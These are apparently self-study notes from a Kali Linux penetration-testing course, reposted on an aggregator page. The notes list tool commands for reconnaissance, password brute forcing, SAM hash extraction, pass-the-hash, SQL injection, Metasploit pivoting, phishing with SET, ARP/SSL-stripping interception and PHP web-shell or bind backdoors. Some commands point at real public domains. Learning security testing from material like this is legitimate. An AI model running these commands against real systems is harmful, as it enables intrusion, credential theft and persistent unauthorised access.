Kali linux 自学心得

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Kali linux 自学心得相关的知识,希望对你有一定的参考价值。

一.kali 安全渗透的一般测试 流程
1.信息收集
目标在线主机,域名信息,邮箱地址,常用密码,同网段信息,子域名信息,指纹信息,端口信息
2.漏洞分析
cisco工具集(cisoco工具)
fuzzing工具集
openvas
开源评估软件
扫描工具集
数据库评估软件
3.漏洞利用
4.权限维持(创建一个后门)
5.文档编辑
二.谷歌黑客(goole hacker)
1.通过互联网
searchdns.netcraft.com DNS查询
shodaning.com大数据
http://www.exploit-db.com/google-dorks/
1 theHarverster信息搜集工具
theharvester -d microsoft.com -l 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -l 200 -b linkedin
theharvester -d microsoft.com -l 500 -b all
2 metagoolefil

Usage: metagoofil options

-d: domain to search
-t: filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)
-l: limit of results to search (default 200)
-h: work with documents in directory (use "yes" for local analysis)
-n: limit of files to download
-o: working directory (location to save downloaded files)
-f: output file

Examples:
metagoofil.py -d apple.com -t doc,pdf -l 200 -n 50 -o applefiles -f results.html
metagoofil.py -h yes -o applefiles -f results.html (local dir analysis)
三 信息搜集之目标获取
域名系统是因特网的一项服务,它作为域名和IP地址相互映射的一个分布式的数据库
从给定一个主域名到一个子域名的信息收集,是对目标的获取与整理。dnsmap,dnsenum,fierce,dnsdict6
DNS区域传送指得是一台备用服务器使用来自主服务器的数据刷新自己的域数据库。这为运行中的dns服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用是影响到整个域名的解析。
一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时,才有必要用到,但许多DNS服务器却别错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息。
由此暴露出威胁:一旦黑客列出某个特定的zone的所有主机,收集域信息,即可选择性的攻击目标,找出未公开使用的IP地址,绕过基于网络的访问控制。
比如访问163,可以把所有的IP地址全部列出来,公开的和不公开的,攻击者就可以选择一些弱的IP来进行攻击。
使用dig进行域名解析(windows nklookup)
使用dig进行域传送漏洞
子域名枚举工具的介绍与使用
dig NS www.secsino.com
secsino.com. 5 IN NS ns3.cdncenter.com.
secsino.com. 5 IN NS ns6.cdncenter.com.
secsino.com. 5 IN NS ns4.cdncenter.com.
secsino.com. 5 IN NS ns5.cdncenter.com.
secsino.com. 5 IN NS ns2.cdncenter.com.
secsino.com. 5 IN NS ns1.cdncenter.com.
一个6个
来测试是否有域传送漏洞信息
dig axfr @ns1.cndcenter.com secsino.com

DNS分析工具
fierce
fierce -dns www.secsino.com
进行查询域传送漏洞,如果没有进行枚举和破解


dnsmap secsino.com

dnsdict6 -4 secsino.com

三.信息收集和主机探测
netenum 192.168.1.1/24 >test
是通过ping来查看主机是否在线,不是特别靠谱,如果对方有防火墙就不可以了。可以生成一个列表。
fping -g ip
可以查看那些主机是存活的。
nbtscan -r 172.17.135.0/24

nbtscan -r 172.17.135.0/24
Doing NBT name scan for addresses from 172.17.135.0/24

IP address NetBios Name Server User MAC address
------------------------------------------------------------------------------
172.17.135.1 PC-20141108YKCA <server> <unknown> 24:b6:fd:1a:87:dd
172.17.135.2 REDBULL <server> <unknown> 00:0c:29:09:bb:e8
172.17.135.3 TXD-1419165F468 <server> <unknown> 00:0c:29:d2:45:88
172.17.135.131 BOBO <server> <unknown> 8c:89:a5:27:b5:b6
172.17.135.140 DYJ <server> <unknown> 08:10:76:df:4d:83

arping 172.17.135.4
可以查看到mac地址的
嗅探内网包(借助于一些ARP协议包的扫描)
netdiscover -h

Currently scanning: 192.168.224.0/16 | Screen View: Unique Hosts

5 Captured ARP Req/Rep packets, from 3 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.149.2 00:50:56:ef:8b:c6 03 180 VMWare, Inc.
192.168.149.1 00:50:56:c0:00:08 01 060 VMWare, Inc.
192.168.149.254 00:50:56:fa:94:bd 01 060 VMWare, Inc.

dmitry cidp.edu.cn
可以看到一些注册人,和子域名的信息

wafw00f http://www.cidp.edu.cn
看是否有waf有保护,先用一个黑名单进行发送,然后看看发送回来有没有。
Checking http://www.cidp.edu.cn
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 13

对目标是否存在负载均衡检测器工具
可以检测多个IP地址映射到单个域名
lbd www.cidp.edu.cn

四。信息搜集之主机扫描
(课程目的,课程介绍)
1主机探测 版本探测 系统探测 支持探测脚本的编写
https 443 weblogic701 oracle 1521
nmap的使用
nmap -iL target.txt 保存到一个列表
zenmap

五 信息搜集之指纹识别
1.banner抓取最简单最基础,不需要专门的工具就可以做。banner抓取是应用程序的指纹识别而不是操作系统的识别。
curl -I www.cidp.edu.cn

curl -I www.cidp.edu.cn
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2014 11:24:42 GMT
Server: Apache/2.0.59 (Unix)
Last-Modified: Mon, 01 Dec 2014 07:12:49 GMT
ETag: "ee8001-6939-568a5e40"
Accept-Ranges: bytes
Content-Length: 26937
Content-Type: text/html
有时候Telnet也可以进行探测,nc有时候也可以。
nmap -sV -Pn -sT www.cidp.edu.cn -p80

xprobe2 目标地址 对于老系统比较好

被动指纹识别工具
p0f 进行被动抓取数据包

web指纹识别
whatweb www.cidp.edu.cn

http://www.cidp.edu.cn [200] ActiveX[Flash-ActiveX][d27cdb6e-ae6d-11cf-96b8-444553540000], Adobe-Flash, Apache[2.0.59], Country[CHINA][CN], Frame, HTTPServer[Unix][Apache/2.0.59 (Unix)], IP[211.71.233.21], JQuery, Meta-Author[%E5%A4%A7%E6%B1%89%E7%BD%91%E7%BB%9C], Object["http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0]["clsid:d27cdb6e-ae6d-11cf-96b8-444553540000], Script[javascript,text/javascript], Title[%E9%98%B2%E7%81%BE%E7%A7%91%E6%8A%80%E5%AD%A6%E9%99%A2]

探取cms识别工具
wpscan -u www.91ri.org

六 信息搜集 协议分析
针对smb利用工具
acccheck 主要检查共享连接 ipc$ admin$,利用用户名和密码来进行攻击。
amples
Attempt the ‘Administrator‘ account with a [BLANK] password.
acccheck -t 10.10.10.1
Attempt all passwords in ‘password.txt‘ against the ‘Administrator‘ account.
acccheck -t 10.10.10.1 -P password.txt
Attempt all password in ‘password.txt‘ against all users in ‘users.txt‘.
acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
acccheck -t 10.10.10.1 -u administrator -p password

smtp-user-enum 来查看有哪些邮箱等等

$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1
$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1
$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt
$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1

sslscan ip 查看证书,查看是那种加密方式,最后可以得到一些公钥信息
数据包分析工具 wireshark

七 openvas安装与使用
做出作为一个nessus的子工具,也是一个综合扫描的子工具。
先进行安装
openvas-check-setup 检查更新
openvas-mkcert 安装证书(后面全部选择默认)
openvas-nvt-sync 更新一些包
openvas-mkcert-client -n om -i 为客户端创建证书
证书创建成功后,必须创建一个用户进行登录
openvasad -c add_user -n root -r Admin
openvassd 必须加载一个插件的加载
openvasmd --rebuild
更新漏洞库内容
openvas-scapdata-sync 更新一些漏洞信息
openvas-certdata-sync
更新完以后可以运行 openvasmd --rebuild
更新完以后,需要结束openvassd进程,重新启动服务,使用openvas-check-setup检查无误。
openvas-start
openvasmd 管理那个模块没有开启,手动开启
gsad --listen=0.0.0.0 --port=9392 --alisten=127.0.0.1 --aport=9390 --http-only
默认端口是9392端口打开的
https://localhost:9392/就可以进行登录


八 web扫描工具的应用
1 golismero scan http://secsino.com
2 nikto -h www.secsino.com
nikto -h www.secsino.com -p 80,445,21 对指定端口进行扫描

lynis 系统信息收集工具
lynis --cheak--all
默认为当前的操作系统

unix-privesc-check standard

九 漏洞分析之web爬行
内部字典存放的位置
/usr/shell/wordlists
1.apche-users -h 172.17.135.4 -l /usr/share/wordlists/apache-user2.0.txt -p 80 -s 0 -e 403 -t 10
这个就是枚举的过程,判断目录是否存在。
2.cutycap --url=http://www.baidu.com --out=baidu.png
相当于对百度网站直接做了一个截图(快照)
3.强大的目录扫描工具
dirb http://172.17.135.3
4.dirbuster 图形化的界面工具
5.vega 相当于awvs ,但是不是商业化软件
6.webslayer
web测试,暴力攻击
十 漏洞扫描工具
cadaver
[email protected]:~# cadaver --help
Usage: cadaver [OPTIONS] http://hostname[:port]/path
Port defaults to 80, path defaults to ‘/‘
Options:
-t, --tolerant Allow cd/open into non-WebDAV enabled collection.
-r, --rcfile=FILE Read script from FILE instead of ~/.cadaverrc.
-p, --proxy=PROXY[:PORT] Use proxy host PROXY and optional proxy port PORT.
-V, --version Display version information.
-h, --help Display this help message.
Please send bug reports and feature requests to <[email protected]>
cadaver是一个用来浏览和修改webdav共享的Unix命令行程序,就像subversion客户端,它使用了neon的http库,不需要惊讶,neon和cadaver人作者是同一个人。cadaver是自由软件。使用cadaver就像使用命令行的FTP程序,因此他很适合基本的webdav调试。它可以以压缩的方式上传和下载文件,也会检验属性,拷贝,移动和锁定和检索文件。
1.cadaver http://172.17.135.22/dav/
可以put get 等等一系列操作和iisput差不多
davtest可以自动上传一个漏洞文件,一些木马文件
2.deblaze xss或者web会用到
3.fimap 远程文件和本地的漏洞扫描文件,会检测一些远程和本地包含漏洞测试。
fimap -u "路径" --force-run
就可以检测到可以读取那些内容
如果get一个webshell
fimap -x --force-run 根据提示来进行操作,上传一个shell,然后在进行提权。
4.Grabber web漏洞扫描器
[email protected]:~# grabber -h
Usage: grabber.py [options]

Options:
-h, --help show this help message and exit
-u ARCHIVES_URL, --url=ARCHIVES_URL
Adress to investigate
-s, --sql Look for the SQL Injection
-x, --xss Perform XSS attacks
-b, --bsql Look for blind SQL Injection
-z, --backup Look for backup files
-d SPIDER, --spider=SPIDER
Look for every files
-i, --include Perform File Insertion attacks
-j, --javascript Test the javascript code ?
-c, --crystal Simple crystal ball test.
-e, --session Session evaluations

eg:grabber --spider 1 --sql --xss --url http://172.17.135.22/
5. joomscan 针对joomlacms来进行测试
6. skipfish 是Google出品的一款自动化网络安全扫描工具
skipfish -o ~/home/kaifeng(自己创建的目录) 很好工具http://www.cidp.edu.cn

7.uniscan-gui 一款图形化界面
8.W3af 是一个应用程序攻击检查文件,支持许多插件
9.wapiti 的工作方式和nikto差不多
python wapiti.py http://172.17.135.22 -v 2
可以检测文件处理错误(本地和远程)数据库注入
xss注入 xss注入 ldap注入 命令执行检测(eval(),system(),passtru()。。)crlf注射入(http响应,session固定等等)
[email protected]:~# wapiti http://www.cidp.edu.cn
Wapiti-2.2.1 (wapiti.sourceforge.net)
Traceback (most recent call last):
File "/usr/bin/wapiti", line 444, in <module>
wap.browse(crawlerFile)
File "/usr/bin/wapiti", line 238, in browse
self.urls, self.forms = self.HTTP.browse(crawlerFile)
可以爬取一些信息
10.webshag-gui 综合的条用一些插件
11.websploit 扫描远程和分析系统漏洞。可以快速的扫描
wsf > show modules

Web Modules Description
------------------- ---------------------
web/apache_users Scan Directory Of Apache Users
web/dir_scanner Directory Scanner
web/wmap Information Gathering From Victim Web Using (Metasploit Wmap)
web/pma phpMyAdmin Login Page Scanner
web/cloudflare_resolver CloudFlare Resolver


Network Modules Description
------------------- ---------------------
network/arp_dos ARP Cache Denial Of Service Attack
network/mfod Middle Finger Of Doom Attack
network/mitm Man In The Middle Attack
network/mlitm Man Left In The Middle Attack
network/webkiller TCP Kill Attack
network/fakeupdate Fake Update Attack Using DNS Spoof
network/arp_poisoner Arp Poisoner


Exploit Modules Description
------------------- ---------------------
exploit/autopwn Metasploit Autopwn Service
exploit/browser_autopwn Metasploit Browser Autopwn Service
exploit/java_applet Java Applet Attack (Using HTML)


Wireless / Bluetooth Modules Description
------------------- ---------------------
wifi/wifi_jammer Wifi Jammer
wifi/wifi_dos Wifi Dos Attack
wifi/wifi_honeypot Wireless Honeypot(Fake AP)
bluetooth/bluetooth_pod Bluetooth Ping Of Death Attack

十一 数据库漏洞工具
1.tnscmd10g 不经常用
2.sqlsus 开放源代码mysql注入和接管工具
[email protected]:~# sqlsus

sqlsus version 0.7.2

Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)

Usage:
sqlsus [options] [config file]

Options:
-h, --help brief help message
-v, --version version information
-e, --execute <commands> execute commands and exit
-g, --genconf <filename> generate configuration file

sqlsus -g test.comf 生成一个配置文件,然后进行编辑
修改 our $url_start="";写入地址
启动并且调试
sqlsus test.conf 获取数据库数据
查看全部数据库名字
sqlsus>get database
sqlsus>set database 设定数据库
sqlsus>set database mysql 选定为MySQL数据库
sqlsus>get tables 获取为MySQL的数据库表
3.sqlninja 主要针对sqlserver数据库,来返回一个xp_cmdshell,对sa口令的强力攻击
[email protected]:~# sqlninja
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <[email protected]>
Usage: /usr/bin/sqlninja
-m <mode> : Required. Available modes are: //指定攻击模块,有以下几个
t/test - test whether the injection is working #测试连接是否是注入点
f/fingerprint - fingerprint user, xp_cmdshell and more #指纹识别,判断用户,数据库,xp_cmdshell是否能用等等
b/bruteforce - bruteforce sa account #暴力破解sa密码,可以使用-w指定字典,也可以不使用字典,这样sqlninja就会自己穷举
e/escalation - add user to sysadmin server role #提权用,必须用-p指定sa的password,成功就会把当前数据库加入到sa组里面
x/resurrectxp - try to recreate xp_cmdshell #尝试恢复xp_cmdshell
u/upload - upload a .scr file #使用get和post上传二进制文件,-p可以指定sa的password,-g表示只生成上传文件,但并不上传
s/dirshell - start a direct shell # 获得目标主机的shell
k/backscan - look for an open outbound port #查看开放的端口
r/revshell - start a reverse shell #反弹会一个shell,和dirshell相反
d/dnstunnel - attempt a dns tunneled shell #指定使用DNS作为传输通道,可用-p指定sa的password,为什么有这个模式。因为可能服务器连icmp都禁止。同样想要使用这个模式得先用upload模式上传dnstun.exe
i/icmpshell - start a reverse ICMP shell #档dirshell和revshell都失败的情况下,可以用这个模式把shell藏在icmp里,但是先要上传imcpsh.exe(在upload模式里)
c/sqlcmd - issue a ‘blind‘ OS command #以上方法都失败之后,可以用它执行简单的cmd命令,可惜的是没回回显
m/metasploit - wrapper to Metasploit stagers #使用metasploit作为shell
-f <file> : configuration file (default: sqlninja.conf) #指定配置文件,sqlninja没有类似sqlmap的“-u”参数,注入网址是写在配置文件里的,默认是sqlninja.conf。 用数字(0,1,2,3,4)来指定数据库。
-p <password> : sa password
-w <wordlist> : wordlist to use in bruteforce mode (dictionary method
only)
-g : generate debug script and exit (only valid in upload mode)
-v : verbose output
-d <mode> : activate debug
1 - print each injected command
2 - print each raw HTTP request
3 - print each raw HTTP response
all - all of the above
...see sqlninja-howto.html for details
默认参数也要写到配置文件里面,默认为sqlninja.conf
sqlmap
sqlmap -u "" --cookie=‘PHPSESSID=;secsicuty=low‘

十二 web代理
代理工具数据,进行抓包改包,暴力攻击等等一些操作
1.burp suite 代理代表的一些工具
2.owasp-zap
3.vega 有一个代理
4.webscarab
webscarab一款代理软件,包括http代理,网络爬行、网络蜘蛛,回话ID分析,自动脚本接口,模糊测试工具,web格式的编码/解码,web服务描述语言和soap解析器等功能模块。webscarab基于gun协议,使用Java编写,是webgoat中所使用的工具之一。
十二 漏洞分析工具fuzz
1.bed 能够检查缓存区溢出,格式串漏洞,整数溢出
bed -s FTP -t 172.17.132.2 -p 21 -o 5
2.ohrwurm 主要是rtp
3.wfuzz web应用的模糊测试工具,可以进行web应用暴力拆解,也支持对网站目录,登录信息,应用资源文件等的暴力猜解,还可以进行get及post参数的猜解,sql注入,xss漏洞的测试。改工具所有功能都依赖于字典。
wfuzz -c -z file,common.txt --hc 404 -o html http://www.baidu.com/FUZZ 2>tes.html
wfuzz -c -z file,users.txt -z file,pass.txt --hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZZ
登录页面口令猜解,忽略404页面
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something}
页面数目猜解,与burp不同的是,它更轻量级。
4.xsser 命令行版本和界面版本
xsser -u "http://172.17.135.2/dvwa/vulnerabilities/xss_r/?name=" --cookie="PHPSESSID=3f0cbd75725ed1a9b5d47396c4aeb2a7;security=low" -v

[*] List of possible XSS injections:
===========================================================================

[I] Target: http://172.17.135.2/dvwa/vulnerabilities/xss_r/?name=
[+] Injection: http://172.17.135.2/dvwa/vulnerabilities/xss_r/?name=/">a01a46f10d098c521b4eb470e82ea23f
[-] Method: xss
[-] Browsers: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

十三 在线密码攻击
1.cewl 是一个很酷的工具,通过爬行网站获取关键信息创建一个密码字典。
官网:http://digi.ninja/projects/cewl.php
2.cat 思科审计工具,扫描思科路由器的一般性漏洞:默认密码snmpcommunity字符
3.findmyhash
findmyhash MD5 -h hash值 去找所有的网站的接口去破解
4.hydra
FTP
hydra -L user.txt -P pass.txt -F ftp://172.17.135.2
SSH
hydra -L user.txt -P pass.txt -F ssh://172.17.135.2:22
SMB
hydra -L user.txt -P pass.txt -F smb://172.17.135.2
MSSQL
hydra -L user.txt -P pass.txt -F mssql://172.17.135.2:1433
5.medusa
medusa -h 172.17.135.2 -u root -P //wordlist/rockyou.txt -M ssh
6.NCrack 基本功能相似,突出是3389爆破的功能
ncrack -vv -U windows.user -P windows.pwd 172.17.135.2:3389,CL=1 -f
7.onesixtyone 是一个snmp扫描工具,用于找出设备上的snmp community字符,扫描速度非常快。
8.patator Python编写,如枚举一个服务用户名和密码
patator ssh_login host=172.17.135.2 user=root passowrd=FILE0 0=pass.txt -x ignore:mesg=‘Authentication failed.‘
9.phrasendrescher
10.thc-pptp-bruter 主要针对pptp VPN端点(tcp端口1723)的暴力破解程序。
十四 密码离线攻击
1.ophcrack 彩虹表
2.pyrit 密码无线攻击
pyrit -r xxx.cap analyze
开始跑包(单纯字典)
pyrit -r xxx.cap -i yyy.dic -b ssid attack_passthrough
也可以将pyrit与crunch结合使用
crunch 8 8 1234567890 | pyrit -i - -r /file/hack01-cap -b bssid attach_passthrough
3.rcrack 彩虹表密码哈希工具
4.rsmangler
rsmangler -f /test 字典生成工具
5.bkhive Linux下破解window下哈希的工具
首先获取win下的文件
Sam文件: c:\windows\system32\config\sam
system文件: c:\windows\system32\config\system
先用bkhive从system文件生成一个bootkey文件
bkhive system bootkey
再用bootkey和sam文件通过samdump2生成一个密码hash文件
samdump2 sam bootkey >hashes
接着只用John破解John hashes即可。
6.sucrack 借助su命令进行本地root账户的密码破解
7.truecrack
十四 密码攻击之哈希传递
个人感觉主要利用msf(psexec)这个扫描模块来进行传递hash,可以返回来一个payload。
通过Windows pwdump7.exe 来进行抓取hash
1.pth-winexe
pth-winexe -U Administrator和hash //172.17.135.2 cmd
这样就可以返回一个本地的shell
2.keimpx
keimpx -t 172.17.135.2 -c /root/pass.txt -v 2 看pass.txt里面保存的hash来进行一一尝试,是否可以进行连接
3.metaspoloit
exploit/windows/smb/psexse
十五 密码无线的破解

十六 metasploit
在跳板机子获取一定权限后,需要积极的向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的meterpreter后门,可以使系列的操作更容易。
1.首先我们先看主机网卡信息,看有多少主机
2.如果我们拿到shell ip地址是 172.17.135.2,内网主机为10.0.0.1,因为内网ip我们是无妨访问的。
3.首先我们先meterpreter里面增加一条路由
run autoroute -s 10.0.0.1 就把我们172段地址加入里面了
4.为了访问,我们开一个socks代理模块
use auxiliary/server/socks
exploit
这个时候我们已经创建一个代理了,然后把kali浏览器的代理设置成127.0.0.1 端口设置成1080,然后在访问10.0.0.2,就可以访问了内网的计算机了。
run arp_scanner -h 经常查看内网主机
run arp_scanner -r 10.0.0.1/24

十七 kali漏洞利用工具beff
默认的IP http://127.0.0.1:3000/ui/authentication
beef-xss提供了一个测试页面
http://127.0.0.1:3000/demos/basic.html
最重要的一项是把beef和metasploit联合起来。下面是配置命令
cd /usr/share/beef-xss/
vim config.yaml //把metaspoloit那一项改成true
cd /extension/metasploit
nano config.yaml //修改host和call_back都改成主机地址
然后打开msfconsole输入以下命令
load msgrpc ServerHost=主机ip Pass=abc123
cd /usr/share/beef-xss/
./beef -x 重新加载metasploit模块
这时候重启一下服务
service beef-xss restart

十八 kali漏洞利用set工具(社会工程会攻击)
1 命令行输入 setoolkit打开set套件
输入1为社会工程会攻击
1鱼叉式攻击 2 网站攻击框架 3 介质感染攻击 4 创建payload攻击 5群发邮件攻击 6基于arduino的攻击 7短信欺骗攻击 8无线接入点攻击 9二维码攻击 10 powershell攻击 11 第三方模块
1.鱼叉式攻击主要目的发送存在恶意软件的钓鱼软件,相应的payload模块可以选择。
2.开放一个webserver服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。 如Java applet attack 方法就需要目标有Java运行环境。为了仿真,你可以选择自建模板或克隆一个网站。(重点演示,可以结合毒化和抓包来进行欺骗内网机子和劫持)
3 介质感染攻击
借助autorun.inf执行exploit得到一个返回的shell,也可以结合metasploit的后门
fasttrack也被整理到setoolkit里面。

十九 嗅探欺骗和中间人攻击
linux下的中间人攻击套路都是一样的,这里介绍进行ARP欺骗,DNS欺骗和嗅探以及回话劫持(cookie)的方法。
1 为kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
2设置ssltrip
为了劫持ssl数据,需要使https数据变为https
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
让ssltrip在8081端口监听
sslstrip -l 8081
我们使用的工具ettercap这个中间人攻击工具,如果是第一次使用,需要设置配置
配置文件/etc/ettercap/etter.conf 首先要将ec_uid,ec_gid都变为0
在把配置文件里面,在linux下面,把下面两行注释警号全部去掉
第一步打开 ettercap -G 图形化界面

第二十课 web后门
1.weevely 仅限php,相当于菜刀的一款工具
weevely generate test ~/1.php
连接:weevely http://172.17.135.3/1.php test(密码)
2.webacoo
webacoo -t -u http://172.17.135.3/2.php
系统后门 首先我们先提取进程 ps aux | grep ~/bin/bash"
1.系统端:dbd -l -p 2333(bash进程号) -e /bin/bash -k password
连接端:dbd 127.0.0.1 2333 -k password
连接以后,机子并没有什么反应,但是直接执行命令就可以了。
2.intersect
数字1 创建一个shell
然后依次为 bshell creds portscan 自由加了三个模块。添加完以后就:create,然后输入shell,还需要绑定端口 5555,远程主机 172.17.135.3 远程端口 23333 。这样就设置完成了。完成以后,下面会给出保存的路径。,默认为.py文件。
执行文件
./shell.py -b 绑定 那么这个时候就绑定这个端口了
我们在远程用nc进行连接
nc -nvv 127.0.0.1 5555 这个时候就得到一个shell了。

第二十一课 权限维持之tunnel
1.cryptcat 使用方法与dbd 方法相似

第二十二课 压力测试
所谓压力测试,就是攻击服务器所能承受的范围,所谓的ddos攻击。
主要是消耗某一种资源,来让服务器不正常。

第二十三课 数字取证工具
1.peepdf是一个使用Python编写的PDF文件分析工具,它可以检测恶意的pdf文件。其设计目标是为安全研究人员提供的pdf分析中可能用到的所有组件,无需使用3或4种工具来完成同一件任务。
2.反数字取证 用来检测 linux下面关键命令是否被注入了后门。
3.内从取证工具集
volatility是开源的window,linux等内从取证分析工具,有Python编写成,命令行操作,支持各种操作。
http://www.freebuf.com/articles/system/26763.html
4 binwalk 来判断是什么文件格式,原始文件是什么。
5 dff 是一个简单但强大的数字取证工具辅助工具,它具有一个灵活的模块系统。具有多种功能,包括:恢复错误或奔溃导致文件丢失,证据的研究和分析等。pdf提供了一个强大的体系结构和一些有用的模块。
第二十三课 报告工具与系统服务
1.dradis 基于浏览器的在线笔记
















































































































































































































































































































































以上是关于Kali linux 自学心得的主要内容,如果未能解决你的问题,请参考以下文章

自学python中的心得

自学python 经验学习心得分享

自学Oracle心得

自学git心得-1

自学python 经验学习心得分享

自学git心得-4